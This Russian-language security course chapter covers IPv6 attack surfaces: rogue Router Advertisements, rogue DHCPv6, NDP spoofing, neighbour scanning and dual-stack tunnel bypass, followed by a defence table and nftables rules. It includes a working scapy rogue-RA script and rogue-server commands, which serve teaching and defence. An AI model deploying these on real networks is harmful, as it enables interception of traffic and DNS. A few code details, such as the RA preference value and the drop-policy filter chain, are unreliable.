Апокриф 03

Двойной стек, двойные двери: IPv6, NDP и RA

Двойной стек, двойные двери: IPv6, NDP и RA

IPv6 проектировался с оглядкой на ошибки IPv4 1: адресного пространства больше, автоконфигурация встроена, широковещание заменено multicast. Но одну ошибку перенесли без изменений — соседство по-прежнему строится на неподтверждённых объявлениях. Neighbor Discovery заменил ARP, получил больше функций и сохранил главное свойство: любой узел в сегменте может объявить себя маршрутизатором, и соседи ему поверят.

Для атакующего IPv6 — это второй вход в ту же сеть. Организация может годами закрывать IPv4-периметр, не замечая, что на каждом хосте включён IPv6 и что маршрутизатор по умолчанию приходит по RA. Двойной стек означает двойную поверхность: правило, написанное для iptables, не действует на ip6tables, а туннель IPv6 поверх IPv4 проходит там, где IPv4-фильтр его не видит.

Тема 11 основной программы разбирала IPv6 как протокол: адреса, заголовок, SLAAC, DHCPv6. Здесь те же механизмы рассматриваются со стороны доверия: какие сообщения принимаются без проверки, что можно объявить, не имея на это права, и как двойной стек обходит фильтрацию. Границы: атаки на IPv4 L2 — тема 02, туннели как транспорт — тема 06.

Тень базового курса: второй стек, который никто не выключал

В основной программе IPv6 выглядел как естественное продолжение: адрес длиннее, заголовок проще, автоконфигурация удобнее. Удобство автоконфигурации — это и есть уязвимость. Узел, подключённый к сегменту, получает адрес, маршрут и DNS без участия администратора: достаточно, чтобы кто-то ответил на запрос маршрутизатора.

В IPv4 для этого нужен DHCP-сервер, и его можно поставить на доверенный порт. В IPv6 маршрутизатор объявляет себя сам, а коммутатор по умолчанию не проверяет, имеет ли отправитель RA право их рассылать. Отсюда типичная картина: IPv4-периметр настроен, журналы собираются, а IPv6-трафик идёт мимо всего этого.

NDP: замена ARP с теми же болезнями

RS, RA, NS, NA и DAD

Neighbor Discovery определён в RFC 4861 и работает поверх ICMPv6 2. Пять типов сообщений покрывают всё:

  • Router Solicitation (RS, тип 133) — узел спрашивает, есть ли маршрутизаторы;
  • Router Advertisement (RA, тип 134) — маршрутизатор объявляет префикс, маршрут по умолчанию, флаги и параметры;
  • Neighbor Solicitation (NS, тип 135) — «у кого этот адрес?»;
  • Neighbor Advertisement (NA, тип 136) — «это у меня»;
  • Redirect (тип 137) — «ходи к цели через другой шлюз».

Автоконфигурация: узел формирует link-local адрес из MAC (EUI-64) или по RFC 7217, проверяет его уникальность через Duplicate Address Detection (DAD) и, получив RA с префиксом, строит глобальный адрес 3. Флаг A разрешает SLAAC, флаг M требует DHCPv6, флаг O разрешает получить «прочие» параметры по DHCPv6.

sysctl net.ipv6.conf.eth0.accept_ra
sysctl net.ipv6.conf.eth0.autoconf
ip -6 addr show dev eth0
ip -6 neigh show dev eth0
net.ipv6.conf.eth0.accept_ra = 1
net.ipv6.conf.eth0.autoconf = 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet6 2001:db8:1::10/64 scope global dynamic
    inet6 fe80::42:acff:fe11:a/64 scope link

Состояния соседей в IPv6 похожи на IPv4, но таймеры свои: reachable_time (по умолчанию 30 секунд) и retrans_timer (1 секунда) приходят в RA. Именно они определяют, как долго поддельная запись живёт без подтверждения.

Где NDP доверяет

NDP не аутентифицирует соседа. NA принимается, если адрес совпадает с запрошенным или если это unsolicited-объявление; DAD пропускает адрес, если на NS никто не ответил. Отсюда три классические атаки: поддельный NA, поддельный RA и блокировка DAD.

DAD-атака проста: атакующий отвечает на каждый NS, будто адрес занят, и узел не может назначить адрес. Это отказ в обслуживании, но он же мешает и защите: узел без адреса не попадёт в журналы.

Подставной RA и захват маршрута

RA с префиксом и RDNSS

RA содержит префикс, длину, флаги, время жизни, MTU и опционально RDNSS — адреса DNS-серверов 4. Узел принимает RA от любого источника, если не включён RA guard, и обновляет маршрут по умолчанию на объявившего.

Формат сообщения Router Advertisement с полями и опциями
Флаги M и O, время жизни и опции префикса и RDNSS — всё, чем объявление управляет на узле
from scapy.all import Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo, \
    ICMPv6NDOptRDNSS, sendp

ra = (Ether(dst="33:33:00:00:00:01") /
      IPv6(src="fe80::1", dst="ff02::1") /
      ICMPv6ND_RA(chlim=64, routerlifetime=1800, prf=0x08) /
      ICMPv6NDOptPrefixInfo(prefixlen=64, prefix="2001:db8:1::",
                            L=1, A=1, validlifetime=7200,
                            preferredlifetime=3600) /
      ICMPv6NDOptRDNSS(dns="2001:db8:1::66", lifetime=1800))
sendp(ra, iface="eth0", loop=1, inter=5)

Разбор: chlim=64 задаёт hop limit для исходящего трафика, routerlifetime=1800 — сколько жить маршруту, prf=0x08 — высокий приоритет (в scapy кодируется полем preference), опция префикса с A=1 разрешает SLAAC, RDNSS подменяет DNS. Узел, получивший такой RA, отправит весь внешний трафик на fe80::1 — адрес атакующего — и будет разрешать имена через его DNS.

Захват проверяется на жертве:

ip -6 route show default
ip -6 addr show dev eth0
cat /etc/resolv.conf

Маршрут по умолчанию указывает на fe80::1, появился адрес из 2001:db8:1::/64, DNS — 2001:db8:1::66.

DHCPv6 и флаги M и O

DHCPv6 (RFC 8415) работает поверх UDP 546/547 и не имеет встроенной аутентификации 5. Флаг M в RA означает «адрес выдаёт DHCPv6», флаг O — «прочие параметры по DHCPv6». Подставной сервер отвечает быстрее настоящего и выдаёт свой пул, свой DNS и свой домен поиска.

# подставной DHCPv6-сервер в лаборатории
dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --dhcp-range=2001:db8:1::100,2001:db8:1::150,1h \
  --dhcp-option=option6:dns-server,[2001:db8:1::66]

Комбинация RA + DHCPv6 даёт полный контроль над маршрутом и именами. Именно поэтому в защите RA guard и DHCPv6 snooping ставятся вместе: по отдельности каждый закрывает только половину.

Атаки на соседство и адреса

NDP-спуфинг и переполнение кеша

NDP-спуфинг повторяет ARP-спуфинг: поддельный NA связывает чужой адрес с MAC атакующего. Отличие в том, что NA можно отправить в unicast конкретному узлу, и он не будет виден остальным — перехват становится точечным.

Переполнение neighbor-кеша — аналог переполнения ARP-таблицы: поток NS с разными адресами забивает nd_tbl, и новые разрешения вытесняют старые. В Linux размер регулируется net.ipv6.neigh.default.gc_thresh*; при достижении порога ядро начинает отбрасывать записи, и часть трафика идёт через повторное разрешение.

sysctl net.ipv6.neigh.default.gc_thresh1 net.ipv6.neigh.default.gc_thresh2
ip -6 neigh show | wc -l

Сканирование ff02::1 и шаблоны адресов

В IPv6 нет широковещания, но есть multicast-группа всех узлов ff02::1. Эхо-запрос на неё получают все узлы сегмента, и каждый отвечает — это самый быстрый способ перечислить соседей.

ping -6 -c 2 ff02::1%eth0
nmap -6 -sn ff02::1%eth0

Дальше — шаблоны. Адреса из SLAAC часто содержат MAC (EUI-64), и по OUI можно угадать производителя. Адреса из DHCPv6 выдаются последовательно, поэтому перебор ::100–::1ff находит клиентов. Стабильные приватные адреса (RFC 7217) ломают оба шаблона, но не мешают опросу multicast.

Обход двойного стека

Туннели 6to4, Teredo, ISATAP

Переходные механизмы позволяют нести IPv6 через IPv4. 6to4 инкапсулирует IPv6 в IPv4 с протоколом 41, Teredo — в UDP/3544, ISATAP — в IPv4 с протоколом 41 внутри сети. Для фильтрации это означает, что IPv6-трафик может проходить там, где правила написаны только для TCP и UDP.

ip tunnel add tun0 mode sit remote 198.51.100.7 local 192.0.2.10
ip link set tun0 up
ip -6 addr add 2001:db8:2::10/64 dev tun0
ip -6 route add default dev tun0

mode sit — это 6in4: IPv6 инкапсулируется в IPv4 с номером протокола 41 8. Режим ip6ip6 здесь не подходит: он несёт IPv6 внутри IPv6 и требует IPv6-адресов на обоих концах туннеля. Туннель поднимает IPv6-связность поверх IPv4, и весь IPv6-трафик идёт через узел, который его терминирует. С точки зрения периметра это исходящее соединение, которое почти никогда не проверяется.

Фрагментация, RH0 и atomic fragments

IPv6-фрагментация выполняется только отправителем; маршрутизаторы её не дробят. Расширяющий заголовок фрагментации (тип 44) позволяет отправлять крошечные фрагменты, которые часть фильтров не собирает. RFC 6980 прямо запрещает использовать фрагментацию в NDP и рекомендует отбрасывать такие сообщения 7.

Routing Header Type 0 (RH0) исторически позволял задать список промежуточных адресов и был запрещён RFC 5095 из-за усиления атак. Современные стеки его отбрасывают, но старые устройства — нет; проверка sysctl net.ipv6.conf.all.accept_source_route показывает настройку.

IPv4 закрыт, IPv6 открыт

Самая частая реальная картина: межсетевой экран фильтрует IPv4, а IPv6 на том же интерфейсе либо не настроен, либо настроен «чтобы работало». Проверка начинается с вопроса, есть ли у узла IPv6-адрес и маршрут:

ip -6 addr show
ip -6 route show
curl -6 -s -o /dev/null -w "%{http_code}\n" http://[2001:db8:1::20]/

Если IPv6-связность есть, а правил для неё нет, фильтрация обходится не взломом, а тем, что её просто не применяли ко второму стеку.

Обнаружение и защита

ПриёмПризнакКонтрмера
Подставной RARA от неизвестного link-localRA guard, accept_ra=0 где не нужен
RDNSS-подменасмена DNS после RARA guard, DNSSEC, мониторинг
NDP-спуфингсмена MAC у адресаND inspection, SEND (редко)
DAD-атакаадрес не назначаетсямониторинг NS, RA guard
Переполнение кешарост nd_tbl, ошибки разрешениялимиты, мониторинг
DHCPv6-серверOffer от чужого адресаDHCPv6 snooping
ТуннельIPv4-протокол 41, UDP 3544egress-фильтр, запрет переходных механизмов
Открытый IPv6IPv6-связность без правилпаритет политик v4/v6

Общие рекомендации по защите IPv6 собраны в RFC 9099 6; ниже — минимальный набор, который проверяется в лабораторной.

Правило nftables для блокировки RA от недоверенных источников:

nft add table ip6 filter
nft add chain ip6 filter input '{ type filter hook input priority 0; policy drop; }'
nft add rule ip6 filter input icmpv6 type nd-router-advert \
  ip6 saddr != fe80::1 drop
nft add rule ip6 filter input icmpv6 type nd-router-advert accept

Вторая строка разрешает RA только от настоящего маршрутизатора; порядок правил важен, потому что первое совпадение завершает обработку.

Итоги темы

IPv6 унаследовал от IPv4 главную слабость — доверие к соседям — и добавил к ней автоконфигурацию, которая делает атаку на маршрут тривиальной. Подставной RA с префиксом и RDNSS перехватывает и трафик, и имена; DHCPv6 дополняет картину.

Двойной стек превращает поверхность атаки в произведение двух поверхностей. Правило, написанное для одного протокола, не действует на другой; туннель несёт IPv6 через IPv4 и обходит фильтр, который смотрит только на TCP и UDP. Защита начинается с инвентаризации: где включён IPv6, кто рассылает RA, какие переходные механизмы разрешены.

Следующая тема спускается ещё ниже — к подделке пакетов и атакам на TCP, где доверие к заголовку становится инструментом.

Литература

  1. Deering S., Hinden R. Internet Protocol, Version 6 (IPv6) Specification. — RFC 8200, IETF, 2017. https://www.rfc-editor.org/rfc/rfc8200
  2. Narten T., Nordmark E., Simpson W., Soliman H. Neighbor Discovery for IP version 6 (IPv6). — RFC 4861, IETF, 2007. https://www.rfc-editor.org/rfc/rfc4861
  3. Thomson S., Narten T., Jinmei T. IPv6 Stateless Address Autoconfiguration. — RFC 4862, IETF, 2007. https://www.rfc-editor.org/rfc/rfc4862
  4. Jeong J., Park S., Beloeil L., Madanapalli S. IPv6 Router Advertisement Options for DNS Configuration. — RFC 8106, IETF, 2017. https://www.rfc-editor.org/rfc/rfc8106
  5. Mrugalski T., Siodelski M., Volz B., et al. Dynamic Host Configuration Protocol for IPv6 (DHCPv6). — RFC 8415, IETF, 2018. https://www.rfc-editor.org/rfc/rfc8415
  6. Chown T., Arkko J., Brandt A., et al. IPv6 Security Considerations and Recommendations. — RFC 9099, IETF, 2021. https://www.rfc-editor.org/rfc/rfc9099
  7. Krishnan S. Security Implications of IPv6 Fragmentation with IPv6 Neighbor Discovery. — RFC 6980, IETF, 2013. https://www.rfc-editor.org/rfc/rfc6980
  8. Nordmark E., Gilligan R. Basic Transition Mechanisms for IPv6 Hosts and Routers. — RFC 4213, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4213